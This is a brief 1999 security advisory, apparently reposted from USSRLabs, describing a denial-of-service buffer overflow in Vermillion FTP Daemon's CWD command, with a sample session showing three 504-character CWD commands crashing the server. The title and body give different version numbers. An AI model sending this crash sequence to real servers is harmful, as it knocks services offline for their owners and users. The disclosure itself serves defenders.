Vermillion FTP 2.1 Subject to DoS - 20 May 1999

USSRLabs discovered a denial of service condition in Vermillion FTP Daemon (VFTPD) v1.23 caused by a buffer overflow condition in the CWD command.

DEMONSTRATION

By send a CWD command three times in a row with a command buffer of exactly 504 characters, the server can be made to crash.

Connected to example.com.
Escape character is "^\]".
220 itsme FTP Server (vftpd 1.23) ready.
USER itsme
PASS ******
CWD (buffer)
CWD (buffer)
CWD (buffer)

Where buffer is 504 characters.

VENDOR RESPONSE

UssrLabs notified Arcane Software about this problem, however no response is unknown at this time.

CREDITS
Discovered by USSRLABS
Posted here at NTSecurity.net on November 22, 1999